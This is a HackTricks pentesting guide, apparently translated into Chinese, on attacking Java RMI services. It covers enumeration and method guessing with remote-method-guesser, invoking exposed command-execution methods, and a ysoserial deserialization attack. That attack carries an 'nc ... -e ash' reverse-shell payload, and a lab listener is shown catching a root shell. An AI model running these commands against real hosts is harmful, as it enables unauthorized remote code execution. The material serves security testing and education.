hacktricks/network-services-pentesting/1099-pentesting-java-rmi.md

18 KiB
Raw Blame History

1098/1099/1050 - Pentesting Java RMI - RMI-IIOP

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


使用Trickest可以轻松构建和自动化工作流程,使用世界上最先进的社区工具。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

基本信息

Java远程方法调用或_Java RMI_是一种面向对象的_RPC_机制允许一个位于一个_Java虚拟机_中的对象调用另一个位于另一个_Java虚拟机_中的对象的方法。这使得开发人员可以使用面向对象的范式编写分布式应用程序。从攻击者的角度来看可以在这个黑帽演讲中找到有关_Java RMI_的简短介绍。

**默认端口:**1090、1098、1099、1199、4443-4446、8999-9010、9999

PORT      STATE SERVICE      VERSION
1090/tcp  open  ssl/java-rmi Java RMI
9010/tcp  open  java-rmi     Java RMI
37471/tcp open  java-rmi     Java RMI
40259/tcp open  ssl/java-rmi Java RMI

通常只有默认的Java RMI组件RMI注册表和激活系统绑定到常见的端口。实际实现RMI应用程序的远程对象通常绑定到随机端口如上面的输出所示。

nmap有时会有困难识别SSL保护的RMI服务。如果在常见的RMI端口上遇到未知的ssl服务应进一步调查。

RMI组件

简单来说Java RMI允许开发人员在网络上提供Java对象。这打开了一个TCP端口客户端可以连接并调用相应对象上的方法。尽管听起来很简单但Java RMI需要解决几个挑战

  1. 要通过Java RMI分派方法调用客户端需要知道目标对象的IP地址、监听端口、实现的类或接口以及ObjIDObjID是在对象在网络上可用时创建的唯一随机标识符。它是必需的因为Java RMI允许多个对象在同一个TCP端口上监听
  2. 远程客户端可以通过调用暴露对象上的方法在服务器上分配资源。Java虚拟机需要跟踪哪些资源仍在使用中哪些可以进行垃圾回收。

第一个挑战通过RMI注册表解决它基本上是Java RMI的命名服务。RMI注册表本身也是一个RMI服务但实现的接口和ObjID是固定的并且所有RMI客户端都知道。这使得RMI客户端只需知道相应的TCP端口就可以使用RMI注册表。

当开发人员希望将他们的Java对象在网络中可用时通常会将它们绑定到RMI注册表。注册表存储连接到对象所需的所有信息IP地址、监听端口、实现的类或接口和ObjID值并将其以可读的名称绑定名称提供。要使用RMI服务的客户端向RMI注册表请求相应的绑定名称注册表返回所有连接所需的信息。因此情况基本上与普通的DNS服务相同。以下示例显示了一个小例子

import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
import lab.example.rmi.interfaces.RemoteService;

public class ExampleClient {

private static final String remoteHost = "172.17.0.2";
private static final String boundName = "remote-service";

public static void main(String[] args)
{
try {
Registry registry = LocateRegistry.getRegistry(remoteHost);     // Connect to the RMI registry
RemoteService ref = (RemoteService)registry.lookup(boundName);  // Lookup the desired bound name
String response = ref.remoteMethod();                           // Call a remote method

} catch( Exception e) {
e.printStackTrace();
}
}
}

上述提到的第二个挑战是通过分布式垃圾收集器Distributed Garbage CollectorDGC来解决的。DGC是另一个具有众所周知的ObjID值的RMI服务基本上每个RMI端点都可以使用它。当RMI客户端开始使用RMI服务时它会向DGC发送一个信息说明相应的远程对象正在使用中。DGC可以跟踪引用计数并能够清理未使用的对象。

除了已弃用的激活系统Activation System之外这些是Java RMI的三个默认组件

  1. RMI注册表ObjID = 0
  2. 激活系统ObjID = 1
  3. 分布式垃圾收集器ObjID = 2

Java RMI的默认组件已经是已知的攻击向量很长时间了过时的Java版本中存在多个漏洞。从攻击者的角度来看这些默认组件很有趣因为它们实现了已知的类/接口很容易与它们进行交互。对于自定义的RMI服务情况就不同了。要调用远程对象的方法您需要事先知道相应的方法签名。如果不知道现有的方法签名就无法与RMI服务进行通信。

RMI枚举

remote-method-guesser是一个Java RMI漏洞扫描工具能够自动识别常见的RMI漏洞。每当您发现一个RMI端点时都应该尝试使用它

$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
[+]
[+] 	- plain-server2
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff7, 3638117546492248534]
[+] 	- legacy-service
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ffc, 708796783031663206]
[+] 	- plain-server
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer (unknown class)
[+] 		    Endpoint: iinsecure.dev:37471  TLS: no  ObjID: [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- http://iinsecure.dev/well-hidden-development-folder/
[+] 		--> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] 		--> de.qtc.rmg.server.interfaces.IPlainServer
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Caught ClassNotFoundException during lookup call.
[+] 	  --> The type java.lang.String is unmarshalled via readObject().
[+] 	  Configuration Status: Outdated
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- Caught MalformedURLException during lookup call.
[+] 	  --> The server attempted to parse the provided codebase (useCodebaseOnly=false).
[+] 	  Configuration Status: Non Default
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Caught NotBoundException during unbind call (unbind was accepeted).
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Security Manager rejected access to the class loader.
[+] 	  --> The server does use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enmeration:
[+]
[+] 	- Caught IllegalArgumentException after sending An Trinh gadget.
[+] 	  Vulnerability Status: Vulnerable
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught IllegalArgumentException during activate call (activator is present).
[+] 	  --> Deserialization allowed	 - Vulnerability Status: Vulnerable
[+] 	  --> Client codebase enabled	 - Configuration Status: Non Default

枚举操作的输出在项目的文档页面中有更详细的解释。根据结果,您应该尝试验证已识别的漏洞。

_remote-method-guesser_显示的ObjID值可用于确定服务的正常运行时间。这可能有助于识别其他漏洞:

$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
[+]
[+] ObjNum: 		-4004948013687638236
[+] UID:
[+] 	Unique: 	1442798173
[+] 	Time: 		1640761503828 (Dec 29,2021 08:05)
[+] 	Count: 		-32760

暴力破解远程方法

即使在枚举过程中没有发现漏洞可用的_RMI_服务仍然可能暴露危险的函数。此外尽管_RMI_通信到_RMI_默认组件受到反序列化过滤器的保护但是当与自定义_RMI_服务通信时通常不会使用这些过滤器。因此了解_RMI_服务上的有效方法签名非常有价值。

不幸的是_Java RMI_不支持枚举远程对象上的方法。尽管如此可以使用诸如remote-method-guesserrmiscout等工具来暴力破解方法签名:

$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!
[+] 		[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!
[+] 		[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!
[+] 		[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!
[+] 		[6562 / 6562] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- plain-server2 == plain-server
[+] 		--> String execute(String dummy)
[+] 		--> String system(String dummy, String[] dummy2)
[+] 	- legacy-service
[+] 		--> void logMessage(int dummy1, String dummy2)
[+] 		--> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] 		--> String login(java.util.HashMap dummy1)

已识别的方法可以这样调用:

$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)

或者你可以执行如下的反序列化攻击:

$ rmg serial 172.17.0.2 9010 CommonsCollections6 'nc 172.17.0.1 4444 -e ash' --bound-name plain-server --signature "String execute(String dummy)"
[+] Creating ysoserial payload... done.
[+]
[+] Attempting deserialization attack on RMI endpoint...
[+]
[+] 	Using non primitive argument type java.lang.String on position 0
[+] 	Specified method signature is String execute(String dummy)
[+]
[+] 	Caught ClassNotFoundException during deserialization attack.
[+] 	Server attempted to deserialize canary class 6ac727def61a4800a09987c24352d7ea.
[+] 	Deserialization attack probably worked :)

$ nc -vlp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)

以下是一些相关文章的更多信息:

除了猜测之外你还可以在搜索引擎或_GitHub_中查找遇到的_RMI_服务的接口甚至实现。在这种情况下_bound name_和实现类或接口的名称可能会有所帮助。

已知接口

remote-method-guesser会将在工具的内部已知_RMI服务_数据库中列出的类或接口标记为known。在这些情况下,你可以使用known操作来获取有关相应_RMI服务_的更多信息

$ rmg enum 172.17.0.2 1090 | head -n 5
[+] RMI registry bound names:
[+]
[+] 	- jmxrmi
[+] 		--> javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)
[+] 		    Endpoint: localhost:41695  TLS: no  ObjID: [7e384a4f:17e0546f16f:-7ffe, -553451807350957585]

$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] Name:
[+] 	JMX Server
[+]
[+] Class Name:
[+] 	- javax.management.remote.rmi.RMIServerImpl_Stub
[+] 	- javax.management.remote.rmi.RMIServer
[+]
[+] Description:
[+] 	Java Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.
[+] 	This remote object is the entrypoint for initiating a JMX connection. Clients call the newClient
[+] 	method usually passing a HashMap that contains connection options (e.g. credentials). The return
[+] 	value (RMIConnection object) is another remote object that is when used to perform JMX related
[+] 	actions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.
[+]
[+] Remote Methods:
[+] 	- String getVersion()
[+] 	- javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] 	- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] 	- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+]
[+] Vulnerabilities:
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		MLet
[+]
[+] 	Description:
[+] 		MLet is the name of an MBean that is usually available on JMX servers. It can be used to load
[+] 		other MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean
[+] 		is therefore most of the time equivalent to remote code execution.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter
[+]
[+] 	-----------------------------------
[+] 	Name:
[+] 		Deserialization
[+]
[+] 	Description:
[+] 		Before CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient
[+] 		method, resulting in insecure deserialization of untrusted objects. Despite being fixed, the
[+] 		actual JMX communication using the RMIConnection object is not filtered. Therefore, if you can
[+] 		establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] 	References:
[+] 		- https://github.com/qtc-de/beanshooter

Shodan

  • port:1099 java

工具

HackTricks 自动命令

Protocol_Name: Java RMI                                        #Protocol Abbreviation if there is one.
Port_Number:  1090,1098,1099,1199,4443-4446,8999-9010,9999     #Comma separated if there is more than one.
Protocol_Description: Java Remote Method Invocation            #Protocol Abbreviation Spelled out

Entry_1:
Name: Enumeration
Description: Perform basic enumeration of an RMI service
Command: rmg enum {IP} {PORT}


使用Trickest可以轻松构建和自动化由全球最先进的社区工具提供支持的工作流程。
立即获取访问权限:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥